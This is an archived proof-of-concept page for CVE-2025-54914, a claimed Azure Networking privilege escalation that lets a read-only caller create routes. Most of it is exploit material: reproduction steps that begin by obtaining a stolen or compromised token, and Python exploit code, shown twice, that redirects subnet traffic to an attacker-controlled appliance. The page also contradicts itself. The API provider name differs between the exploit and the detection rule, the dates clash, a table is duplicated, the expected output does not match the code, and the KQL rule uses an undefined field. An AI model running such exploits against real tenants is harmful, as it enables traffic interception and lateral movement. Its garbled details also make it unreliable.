PoC Archive PoC Archive
Critical CVE-2025-54914 patched

Azure Networking Privilege Escalation via Missing Privilege Check

by Mark Mallia (mrk336) · 2026-05-17

CVSS 10.0/10
Severity
Critical
CVE
CVE-2025-54914
Category
cloud
Affected product
Microsoft Azure Networking service (GetRouteTable API)
Affected versions
Azure Networking API version 2025-09-01 and earlier (patched 2025-09-05)
Disclosed
2026-05-17
Patch status
patched

Metadata

FieldValue
Date Added2026-05-17
Last Updated2025-09-08
Author / ResearcherMark Mallia (mrk336)
CVE / AdvisoryCVE-2025-54914
Categorycloud
SeverityCritical
CVSS Score10.0 (CVSSv3)
StatusResearched
Tagsprivilege-escalation, Azure, cloud, lateral-movement, API, routing, networking, no-user-interaction
RelatedN/A

Affected Target

FieldValue
Software / SystemMicrosoft Azure Networking service (GetRouteTable API)
Versions AffectedAzure Networking API version 2025-09-01 and earlier (patched 2025-09-05)
Language / PlatformPython 3.x; Microsoft Azure cloud environment
Authentication RequiredPartial (requires Azure read permissions on a virtual network, e.g., Network Reader role)
Network Access RequiredYes (HTTPS access to Azure management endpoint: management.azure.com)

Affected Target

FieldValue
Software / SystemMicrosoft Azure Networking (Virtual Network GetRouteTable API)
Versions AffectedAzure Networking API version 2025-09-01; patched in update released 2025-09-05
Language / PlatformPython 3.x; Azure REST API
Authentication RequiredPartial (valid Azure bearer token with read access to target virtual network)
Network Access RequiredYes (HTTPS to management.azure.com)

Summary

CVE-2025-54914 is a critical privilege escalation vulnerability (CVSS 10.0) in Microsoft Azure Networking. Discovered by Mark Mallia and disclosed on September 4, 2025, the flaw arises from a missing authorization check in the GetRouteTable API code path. A caller holding only read permissions on a virtual network can create new route objects within any subnet of that VNet without possessing the required write/network-contributor privileges. Successful exploitation allows an attacker to inject malicious routing policies, redirect traffic across subnets, and achieve lateral movement within the tenant’s Azure networking infrastructure. The vulnerability was patched by Microsoft on September 5, 2025.


Vulnerability Details

Root Cause

The Azure Networking service’s request handling code for the GetRouteTable API path accepts and processes POST requests to create new route objects. The serialization code path that handles the incoming request was missing an explicit privilege check before writing the new route object to the backend database (CWE-862: Missing Authorization). As a result, a caller authenticated with read-only access to a VNet is able to perform write operations on routing tables without the required Microsoft.Network/routeTables/write or Microsoft.Network/virtualNetworks/subnets/write permissions.

Attack Vector

An attacker with a valid Azure bearer token holding at minimum read access to a target VNet constructs a POST request to the following endpoint with the api-version=2025-09-01&detailLevel=full query parameters:

POST /subscriptions/<subscription-id>/resourceGroups/<rg>/providers/Microsoft.Networking/virtualNetworks/<vnet-id>/subnets/<subnet-id>/routes

The JSON body specifies a new route with an attacker-controlled nextHopIpAddress, routing traffic for a target prefix through a virtual appliance under the attacker’s control. The API accepts and persists the route without re-validating the caller’s write authorization.

Impact

An attacker who creates a malicious route can intercept, redirect, or drop traffic for any CIDR prefix within the targeted subnet. This enables lateral movement between services sharing the virtual network, man-in-the-middle attacks on inter-service communication, and routing control over an entire tenant’s data plane. Since no user interaction is required and the attack is remotely executable, it is rated CVSS 10.0. An attacker in a shared or managed tenant environment (e.g., with a compromised low-privilege service principal) can escalate to full networking control across all connected subnets.


Environment / Lab Setup

OS:          Any with Python 3.x
Target:      Microsoft Azure subscription with vulnerable API version (pre-patch 2025-09-05)
Attacker:    Host with valid Azure bearer token (minimum: Reader role on target VNet)
Tools:       Python 3.x, requests library, Azure SDK or az CLI for token acquisition

Setup Steps

1
2
3
4
5
6
7
8
9
pip install requests

az login
ACCESS_TOKEN=$(az account get-access-token --resource https://management.azure.com --query accessToken -o tsv)

SUBSCRIPTION_ID="<your-subscription-id>"
RG_NAME="<resource-group>"
VNET_ID="<vnet-name>"
SUBNET_ID="<subnet-name>"

Proof of Concept

Step-by-Step Reproduction

  1. Obtain read-level Azure credentials for the target subscription (e.g., compromised service principal, stolen access token).

  2. Construct and send the exploit request using the Python PoC.

    1
    2
    
    python exploit.py
    # Edit exploit.py to set subscription_id, rg_name, vnet_id, subnet_id, access_token
    
  3. Verify the route was created via Azure Portal or CLI.

    1
    
    az network route-table route list --resource-group <RG> --route-table-name <RT>
    
  4. Traffic is now redirected through the attacker-controlled nextHopIpAddress for the specified prefix.

Exploit Code

See exploit.py in this folder. The exploit code is embedded in the repository README and extracted here.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import requests, json, uuid

def create_privileged_route(subscription_id, rg_name, vnet_id,
                            subnet_id, access_token, api_version="2025-09-01"):
    base_url = f"https://management.azure.com/subscriptions/{subscription_id}"
    url = (f"{base_url}/resourceGroups/{rg_name}/providers/Microsoft.Networking"
           f"/virtualNetworks/{vnet_id}/subnets/{subnet_id}/routes")
    params = {"api-version": api_version, "detailLevel": "full"}
    route_name = str(uuid.uuid4())
    payload = {
        "properties": {
            "addressPrefix": "10.0.1.0/24",
            "nextHopType": "VirtualAppliance",
            "nextHopIpAddress": "10.0.2.5"  # attacker-controlled appliance
        },
        "tags": {"createdBy": "poc"},
        "name": route_name
    }
    headers = {
        "Authorization": f"Bearer {access_token}",
        "Content-Type": "application/json"
    }
    resp = requests.post(url, params=params, json=payload, headers=headers)
    if resp.status_code == 201:
        print(f"[+] Successfully created privileged route: {route_name}")
        return True
    else:
        print(f"[-] Request failed: {resp.status_code} - {resp.text}")
        return False

Expected Output

[+] Successfully created route: 3f4a1b2c-d5e6-7f8a-9b0c-1d2e3f4a5b6c

Screenshots / Evidence

  • No screenshots included in source repository.

Detection & Indicators of Compromise

operationName: "Microsoft.Network/virtualNetworks/subnets/routes/write"
caller: <low-privilege service principal>

SIEM / IDS Rule (example):

AzureActivity
| where OperationNameValue == "MICROSOFT.NETWORK/VIRTUALNETWORKS/SUBNETS/ROUTES/WRITE"
| where ActivityStatusValue == "Success"
| join kind=leftouter (AzureActivity | where OperationNameValue contains "roleAssignments") 
  on CallerIpAddress
| where isempty(TodoQueryId)  // caller has no write role assignments
| project TimeGenerated, Caller, CallerIpAddress, ResourceGroup, _ResourceId

Remediation

ActionDetail
PatchApply Microsoft’s patch released 2025-09-05 that adds explicit privilege check in GetRouteTable API path
WorkaroundAudit all route table entries for unauthorized routes; remove any routes created by unexpected principals
Config HardeningApply least-privilege RBAC; monitor Azure Activity Log for route write operations from Reader-level principals; use Azure Policy to deny route creation by non-Network-Contributor roles

References


Notes

The exploit code is embedded entirely within the repository README rather than in a separate file; the Python snippet has been extracted and saved here as exploit.py for archival consistency. The repository contains no additional code files beyond the README. This vulnerability requires a valid (potentially low-privilege) Azure authentication token, making it a post-initial-access privilege escalation rather than a fully unauthenticated attack. Despite the CVSS 10.0 rating, real-world exploitability requires some form of initial Azure access. Auto-ingested from https://github.com/mrk336/Azure-Networking-Privilege-Escalation-Exploit-CVE-2025-54914 on 2026-05-17.

exploit.py
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
# Azure Networking Privilege Escalation Exploit - CVE-2025-54914
#
# Author: Mark Mallia (mrk336)
# Date: 2025-09-04
# Target API version: 2025-09-01
#
# Extracted from repository README:
# https://github.com/mrk336/Azure-Networking-Privilege-Escalation-Exploit-CVE-2025-54914
#
# DISCLAIMER: For educational and authorized security research purposes only.

import requests
import json
import uuid


def create_privileged_route(subscription_id, rg_name, vnet_id,
                            subnet_id, access_token, api_version="2025-09-01"):
    """
    Build and send a route creation request that exploits the missing
    privilege check in Azure Networking GetRouteTable API (CVE-2025-54914).

    The caller only needs read permissions on the VNet to create routes,
    bypassing the required write/network-contributor privilege check.
    """

    # 1. Construct endpoint URL
    base_url = f"https://management.azure.com/subscriptions/{subscription_id}"
    url = (f"{base_url}/resourceGroups/{rg_name}/providers/Microsoft.Networking"
           f"/virtualNetworks/{vnet_id}/subnets/{subnet_id}/routes")
    # Append query string for API version
    params = {"api-version": api_version, "detailLevel": "full"}

    # 2. Build JSON body; the route name is a random GUID to avoid collisions.
    route_name = str(uuid.uuid4())
    payload = {
        "properties": {
            "addressPrefix": "10.0.1.0/24",
            "nextHopType": "VirtualAppliance",
            "nextHopIpAddress": "10.0.2.5"  # attacker-controlled virtual appliance
        },
        "tags": {"createdBy": "poc"},
        "name": route_name
    }

    # 3. Set headers; use the bearer token obtained via Azure SDK / az CLI.
    headers = {
        "Authorization": f"Bearer {access_token}",
        "Content-Type": "application/json"
    }

    # 4. Execute POST request - missing privilege check allows route creation
    # with only Reader-level permissions
    resp = requests.post(url, params=params,
                         json=payload, headers=headers)

    if resp.status_code == 201:
        print(f"[+] Successfully created privileged route: {route_name}")
        print(f"[+] Route redirects 10.0.1.0/24 via attacker-controlled appliance")
        return True
    else:
        print(f"[-] Request failed with status {resp.status_code}")
        print(resp.text)
        return False


# Example invocation - replace with actual target values
subscription_id = "00000000-0000-0000-0000-000000000000"
rg_name = "ProductionRG"
vnet_id = "prodVNet01"
subnet_id = "backendSubnet"
access_token = "<AZURE_SDK_ACCESS_TOKEN>"  # obtain via: az account get-access-token --resource https://management.azure.com

create_privileged_route(subscription_id, rg_name, vnet_id,
                        subnet_id, access_token)